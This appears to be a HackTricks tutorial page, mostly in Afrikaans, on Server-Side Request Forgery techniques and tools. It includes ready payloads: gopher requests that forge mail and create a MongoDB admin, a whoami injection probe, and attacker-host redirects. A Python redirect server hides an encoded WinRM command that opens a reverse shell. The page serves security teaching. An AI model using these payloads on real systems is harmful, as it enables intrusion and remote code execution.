SSRF (Server Side Request Forgery)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
’n Server-side Request Forgery (SSRF) kwesbaarheid gebeur wanneer ’n aanvaller ’n server-side application manipuleer om HTTP requests na ’n domein van hul keuse te stuur. Hierdie kwesbaarheid stel die bediener bloot aan arbitraire eksterne versoeke wat deur die aanvaller gerig word.
Vang SSRF
Die eerste ding wat jy moet doen is om ’n SSRF-interaksie wat deur jou gegenereer is te vang. Om ’n HTTP of DNS-interaksie vas te vang kan jy gereedskap gebruik soos:
- Burp Collaborator
- pingb
- canarytokens
- interractsh
- http://webhook.site
- https://github.com/teknogeek/ssrf-sheriff
- http://requestrepo.com/
- https://github.com/stolenusername/cowitness
- https://github.com/dwisiswant0/ngocok - A Burp Collaborator using ngrok
Omseiling van witlys-domeine
Gewoonlik sal jy vind dat die SSRF slegs werk in sekere witlys-domeine of URL. Op die volgende bladsy het jy ’n samestelling van tegnieke om te probeer om daardie witlys te omseil:
Bypass via open redirect
As die bediener behoorlik beskerm is, kan jy alle beperkings omseil deur ’n Open Redirect in die webblad te misbruik. Omdat die webblad waarskynlik SSRF na dieselfde domein toelaat en waarskynlik redirects volg, kan jy die Open Redirect misbruik om die bediener enige interne hulpbron te laat benader.
Lees meer hier: https://portswigger.net/web-security/ssrf
Protokolle
- file://
- Die URL-skema
file://word genoem, wat direk na/etc/passwdverwys:file:///etc/passwd - dict://
- Die DICT URL-skema word beskryf as vir toegang tot definisies of woordlyste via die DICT-protokol. ’n Voorbeeld illustreer ’n saamgestelde URL wat op ’n spesifieke woord, databasis en inskrywingnommer mik, asook ’n voorbeeld van ’n PHP-script wat moontlik misbruik kan word om met ’n DICT-bediener te skakel met aanvaller-voorsiene geloofsbriewe:
dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n> - SFTP://
- Identifiseer as ’n protokol vir veilige lêeroorplasing oor secure shell; ’n voorbeeld wys hoe ’n PHP-script uitgebuit kan word om met ’n kwaadwillige SFTP-bediener te koppel:
url=sftp://generic.com:11111/ - TFTP://
- Trivial File Transfer Protocol, wat oor UDP werk, word genoem met ’n voorbeeld van ’n PHP-script wat ontwerp is om ’n versoek na ’n TFTP-bediener te stuur. ’n TFTP-versoek word gemaak na ‘generic.com’ op poort ‘12346’ vir die lêer ‘TESTUDPPACKET’:
ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET - LDAP://
- Hierdie afdeling dek die Lightweight Directory Access Protocol, en beklemtoon die gebruik daarvan vir die bestuur en toegang tot verspreide gidsinligtingsdienste oor IP-netwerke. Interaksie met ’n LDAP-bediener op localhost:
'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit. - SMTP
- ’n Metode word beskryf om SSRF-kwesbaarhede te misbruik om met SMTP-dienste op localhost te interageer, insluitend stappe om interne domeinnamme te openbaar en verdere ondersoek te doen gebaseer op daardie inligting.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
- Curl URL globbing - WAF bypass
- As die SSRF deur curl uitgevoer word, het curl ’n funksie genaamd URL globbing wat nuttig kan wees om WAFs te omseil. Byvoorbeeld in hierdie writeup kan jy hierdie voorbeeld vind vir ’n path traversal via
fileprotocol:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
- Gopher://
- Die Gopher-protokol se vermoë om IP, port en bytes te spesifiseer vir kommunikasie met bedieners word bespreek, tesame met gereedskap soos Gopherus en remote-method-guesser om payloads te skep. Twee verskillende gebruike word geïllustreer:
Gopher://
Deur hierdie protokol te gebruik kan jy die IP, port and bytes spesifiseer wat jy wil hê die bediener moet stuur. Dan kan jy basies ’n SSRF misbruik om te kommunikeer met enige TCP server (maar jy moet eers weet hoe om met die diens te praat).
Gelukkig kan jy Gopherus gebruik om payloads vir verskeie dienste te skep. Daarbenewens kan remote-method-guesser gebruik word om gopher payloads vir Java RMI dienste te skep.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Gopher SMTP — Back connect to 1337
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
Gopher MongoDB – Skep gebruiker met username=admin en password=admin123 en permission=administrator
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'
SSRF via Referrer header & Others
Analitiese sagteware op bedieners registreer dikwels die Referrer header om inkomende skakels op te spoor, ’n praktyk wat onverhoeds toepassings aan Server-Side Request Forgery (SSRF)-kwesbaarhede blootstel. Dit is omdat sulke sagteware moontlik eksterne URLs wat in die Referrer header genoem word, besoek om die inhoud van verwysende werwe te ontleed. Om hierdie kwesbaarhede op te spoor, word die Burp Suite-plugin “Collaborator Everywhere” aanbeveel, aangesien dit die manier benut waarop analitiese instrumente die Referer header verwerk om potensiële SSRF-aanvalsvlakke te identifiseer.
SSRF via SNI data from certificate
’n Verkeerde konfigurasie wat die verbinding na enige backend via ’n eenvoudige opstelling moontlik kan maak, word geïllustreer met die volgende voorbeeld Nginx-konfigurasie:
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
In hierdie konfigurasie word die waarde uit die Server Name Indication (SNI)-veld direk gebruik as die backend se adres. Hierdie opstelling openbaar ’n kwesbaarheid vir Server-Side Request Forgery (SSRF), wat uitgebuit kan word deur net die gewenste IP-adres of domeinnaam in die SNI-veld te spesifiseer. ’n Voorbeeld van uitbuiting om ’n verbinding na ’n arbitrêre backend, soos internal.host.com, met die openssl-opdrag af te dwing, word hieronder gegee:
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
SSRF via TLS AIA CA Issuers (Java mTLS)
Some TLS stacks will auto-download missing intermediate CAs using the Authority Information Access (AIA) → CA Issuers URI inside the peer certificate. In Java, enabling -Dcom.sun.security.enableAIAcaIssuers=true while running an mTLS service makes the server dereference attacker-controlled URIs from the client certificate during the handshake, before any HTTP logic runs.
- Vereistes: mTLS enabled, Java AIA fetching enabled, attacker can present a client cert with a crafted AIA CA Issuers URI.
- SSRF uitlok (Java 21 example):
java -Djava.security.debug=certpath \
-Dcom.sun.security.enableAIAcaIssuers=true \
-Dhttp.agent="AIA CA Issuers PoC" -jar server.jar
# Attacker cert AIA: http://localhost:8080
nc -l 8080 -k # observe the outbound fetch
curl https://mtls-server:8444 --key client-aia-key.pem --cert client-aia-localhost-cert.pem --cacert ca-cert.pem
Die Java certpath debug-uitset toon CertStore URI:http://localhost:8080, en nc vang die HTTP-versoek met die beheerbare User-Agent van -Dhttp.agent, wat SSRF tydens sertifikaatvalidasie bewys.
- DoS via file://: setting AIA CA Issuers to
file:///dev/urandomon Unix-like hosts makes Java treat it as a CertStore and read unbounded random bytes, keeping a CPU core busy and blocking subsequent connections even after the client disconnects.
SSRF via CSS Pre-Processors
LESS is a popular CSS pre-processor that adds variables, mixins, functions and the powerful @import directive. During compilation the LESS engine will fetch the resources referenced in @import statements and embed (“inline”) their contents into the resulting CSS when the (inline) option is used.
Kyk hoe om dit te misbruik in:
Wget file upload
SSRF with Command Injection
Dit kan die moeite werd wees om ’n payload te probeer soos: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
PDF-rendering
If the web page is automatically creating a PDF with some information you have provided, you can insert some JS that will be executed by the PDF creator itself (the server) while creating the PDF and you will be able to abuse a SSRF. Find more information here.
Van SSRF na DoS
Skep verskeie sessies en probeer om swaar lêers af te laai deur die SSRF vanuit die sessies te misbruik.
SSRF PHP-funksies
Kyk na die volgende bladsy vir kwesbare PHP en selfs Wordpress funksies:
SSRF Redirect to Gopher
For some exploitations you might need to send a redirect response (potentially to use a different protocol like gopher). Here you have different python codes to respond with a redirect:
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
Verkeerd gekonfigureerde proxies vir SSRF
Truuks van hierdie pos.
Flask
Flask proxy kwetsbare code
```python from flask import Flask from requests import getapp = Flask(‘main’) SITE_NAME = ‘https://google.com’
@app.route(‘/’, defaults={‘path’: ‘’}) @app.route(‘/path:path’)
def proxy(path): return get(f’{SITE_NAME}{path}’).content
if name == “main”: app.run(threaded=False)
</details>
Flask laat toe om **`@`** as aanvanklike karakter te gebruik, wat toelaat om die **aanvanklike host name tot die username te maak** en 'n nuwe een in te spuit. Attack request:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
Kwetsbare kode:
.png)
Daar is ontdek dat dit moontlik is om die pad van ’n versoek met die karakter ; te begin, wat dan toelaat om @ te gebruik en ’n nuwe host in te spuit om toegang te kry. Aanvalsversoek:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
PHP Built-in Web Server
Kwetsbare PHP-kode
```php$proxy_site = $site.$current_uri; var_dump($proxy_site);
echo “\n\n”;
$response = file_get_contents($proxy_site); var_dump($response); ?>
</details>
PHP laat die gebruik van die **teken `*` voor 'n skuinsstreep in die pad** van die URL toe, maar dit het ander beperkinge, soos dat dit slegs vir die root-padnaam `/` gebruik kan word en dat kolletjies `.` nie voor die eerste skuinsstreep toegelaat word nie, dus moet 'n dotless-hex-gekodeerde IP-adres byvoorbeeld gebruik word:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
Omgekeerde proxies wat absolute URL’s in die request line aanvaar (open forward-proxy)
Sommige omgekeerde proxies aanvaar ook absolute-form request lines (GET http://10.0.0.5:8080/path HTTP/1.1) en stuur die URL soos dit is na ’n backend, in plaas daarvan om dit te verwerp of na die geconfigureerde upstream te herskryf. Dit verander die omgekeerde proxy in ’n pre-auth forward proxy with full-read SSRF, insluitend toegang tot localhost-gebonde dienste wat normaalweg van die Internet af ontoeganklik sou wees.
Belangrike punte:
- Die request line bepaal die bestemming: die authority in die absolute URL oorheers normale routering; die
Hostheader word gewoonlik geïgnoreer. - Volledige antwoord teruggestuur: antwoorde van interne hosts word teruggestuur, sodat jy hulle kan opspoor en daarmee kan interaksie hê (bv., SOAP/Axis2, Keycloak, admin consoles) eerder as blind-probing.
- Werk op localhost:
GET http://127.0.0.1:port/ HTTP/1.1\r\nHost: public-host\r\n\r\nis genoeg om slegs loopback-luisteraars te bereik. - Misbruik as pivot: kombineer met ander vulns (bv., upload endpoints) om intra-host services te bereik.
Minimale probe:
GET http://127.0.0.1:8080/ HTTP/1.1
Host: whatever
Connection: close
As jy die upstream-antwoord sien in plaas van ’n 400, tree die appliance op as ’n open proxy.
DNS Rebidding CORS/SOP bypass
As jy probleme het om exfiltrate content from a local IP weens CORS/SOP, DNS Rebidding kan gebruik word om daardie beperking te bypass:
CORS - Misconfigurations & Bypass
Geautomatiseerde DNS Rebidding
Singularity of Origin is ’n tool om DNS rebinding attacks uit te voer. Dit sluit die nodige komponente in om die IP-adres van die attack server DNS name te rebind na die teikenmasjien se IP-adres en om attack payloads te bedien om kwesbare sagteware op die teikenmasjien uit te buit.
Kyk ook na die openlik beskikbare bediener by http://rebind.it/singularity.html
DNS Rebidding + TLS Session ID/Session ticket
Vereistes:
- SSRF
- Outbound TLS sessions
- Stuff on local ports
Aanval:
- Vra die gebruiker/bot om access ’n domain wat deur die attacker beheer word
- Die TTL van die DNS is 0 sec (sodat die slagoffer binnekort weer die IP van die domain sal nagaan)
- ’n TLS connection word geskep tussen die slagoffer en die domain van die attacker. Die attacker introduceer die payload inside die Session ID or Session Ticket.
- Die domain sal ’n infinite loop van redirects teen himself begin. Die doel hiervan is om die gebruiker/bot die domain te laat toegang totdat dit again ’n DNS request van die domain uitvoer.
- In die DNS request word ’n private IP adres now gegee (127.0.0.1 byvoorbeeld)
- Die gebruiker/bot sal probeer om die reestablish the TLS connection en om dit te doen sal dit die Session ID/Ticket ID send (waar die payload van die aanvaller bevat was). So geluk — jy het dit reggekry om die user/bot attack himself.
Let daarop dat gedurende hierdie aanval, as jy localhost:11211 (memcache) wil attack, jy die slagoffer die aanvanklike verbinding met www.attacker.com:11211 moet laat maak (die port must always be the same).
Om perform this attack you can use the tool: https://github.com/jmdx/TLS-poison/
Vir more information kyk die talk waar hierdie aanval verduidelik word: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference
Blind SSRF
Die verskil tussen ’n blind SSRF en ’n nie-blind een is dat jy by die blind nie die respons van die SSRF-versoek kan sien nie. Dit maak dit moeiliker om uit te buit, omdat jy slegs goed-bekende kwetsbaarhede kan benut.
Tydgebaseerde SSRF
Checking the time van die responsies vanaf die bediener kan dit possible to know if a resource exists or not (miskien neem dit meer tyd om ’n bestaande bron te bereik as een wat nie bestaan nie)
Van blind na volle misbruik van statuskodes
Volgens hierdie blog post, kan sommige blind SSRF voorkom omdat selfs al antwoord die geteikende URL met ’n 200 status code (soos AWS metadata), hierdie data nie behoorlik geformat is nie en daarom die app dit mag weier om te wys.
Dit is egter gevind dat deur sekere redirect response codes van 305 tot 309 te stuur in die SSRF, dit moontlik is om die toepassing follow these redirects while entering an error mode te laat volg wat nie meer die formaat van die data gaan kontroleer nie en dit bloot kan uitdruk.
Die python server wat gebruik word om dit te misbruik is die volgende:
@app.route("/redir")
def redir():
count = int(request.args.get("count", 0)) + 1
# Pump out 305, 306, 307, 308, 309, 310 ...
weird_status = 301 + count
if count >= 10: # after 5 “weird” codes
return redirect(METADATA_URL, 302)
return redirect(f"/redir?count={count}", weird_status)
@app.route("/start")
def start():
return redirect("/redir", 302)
Stappe:
- Eerstens laat 302 die app begin volg.
- Dan ontvang dit 305 → 306 → 307 → 308 → 309 → 310.
- Na die 5de vreemde kode gee die PoC uiteindelik 302 → 169.254.169.254 → 200 OK terug.
What happens inside the target:
- libcurl self volg wel 305–310; dit normaliseer net onbekende kodes na “follow.”
- Na N vreemde omleidings (≥ 5 hier) besluit die toepassing se eie wrapper “iets is verkeerd” en skakel oor na ’n foutmodus bedoel vir debugging.
- In daardie modus dump dit die hele omleidingsketting plus finale body terug na die buitenste caller.
- Resultaat: aanvaller sien elke header + die metadata JSON, mission accomplished.
Note that this is interesting to leak status codes that you couldn’t leak before (like a 200). However, if somehow you could also select the status code of the response (imagine that you can decide that the AWS metadata responds with a 500 status code), there might be some status codes that directly leak the content of the response.
HTML-to-PDF renderers as blind SSRF gadgets
Libraries such as TCPDF (and wrappers like spipu/html2pdf) will automatically fetch any URLs present in attacker-controlled HTML while rendering a PDF. Each <img> or <link rel="stylesheet"> attribute is resolved server-side via cURL, getimagesize(), or file_get_contents(), so you can drive the PDF worker to probe internal hosts even though no HTTP response is reflected to you.
<html>
<body>
<img width="1" height="1" src="http://127.0.0.1:8080/healthz">
<link rel="stylesheet" type="text/css" href="http://10.0.0.5/admin" />
</body>
</html>
- TCPDF 6.10.0 voert verskeie ophaalpogings uit vir elke
<img>hulpbron, sodat ’n enkele payload veelvuldige requests kan genereer (nuttig vir timing-based port scans). - html2pdf kopieer TCPDF’s gedrag vir
<img>en voeg CSS-ophaling binneCss::extractStyle()by, wat eenvoudigfile_get_contents($href)aanroep na ’n oppervlakkige skema-kontrole. Misbruik dit om loopback-dienste, RFC1918-reekse, of cloud metadata endpoints te tref. - Kombineer hierdie SSRF-primitive met die HTML-to-PDF path traversal tricks om beide interne HTTP-antwoorde en local files wat in die PDF gerender is, te leak.
Sisteemharders behoort eksterne URLs te verwyder voordat hulle render of die renderer in ’n netwerk-sandbox te isoleer; tot dan, behandel PDF-generators as blind SSRF-proxies.
Cloud SSRF-uitbuiting
As jy ’n SSRF-kwetsbaarheid op ’n masjien vind wat binne ’n cloud-omgewing loop, kan jy moontlik interessante inligting oor die cloud-omgewing kry en selfs credentials:
SSRF kwesbare platforms
Verskeie bekende platforms bevat of het SSRF-kwetsbaarhede gehad; kyk na hulle in:
Gereedskap
SSRFMap
Gereedskap om SSRF-kwetsbaarhede te detecteer en uit te buit
Gopherus
This tool generates Gopher payloads for:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
remote-method-guesser
remote-method-guesser is ’n Java RMI kwesbaarheidsskandeerder wat aanvaloperasies ondersteun vir die mees algemene Java RMI kwesbaarhede. Die meeste beskikbare operasies ondersteun die --ssrf opsie, om ’n SSRF payload vir die versoekte operasie te genereer. Saam met die --gopher opsie kan kant-en-klare gopher payloads direk gegenereer word.
SSRF Proxy
SSRF Proxy is ’n multi-threaded HTTP proxy server ontwerp om kliënt-HTTP-verkeer deur HTTP-bedieners wat vatbaar is vir Server-Side Request Forgery (SSRF) te kanaliseer.
Om te oefen
Verwysings
- https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
- https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
- Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?
- Tenable – SSRF Vulnerability in Java TLS Handshakes That Creates DoS Risk
- RFC 5280 §4.2.2.1 Authority Information Access
- When Audits Fail: From Pre-Auth SSRF to RCE in TRUfusion Enterprise
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


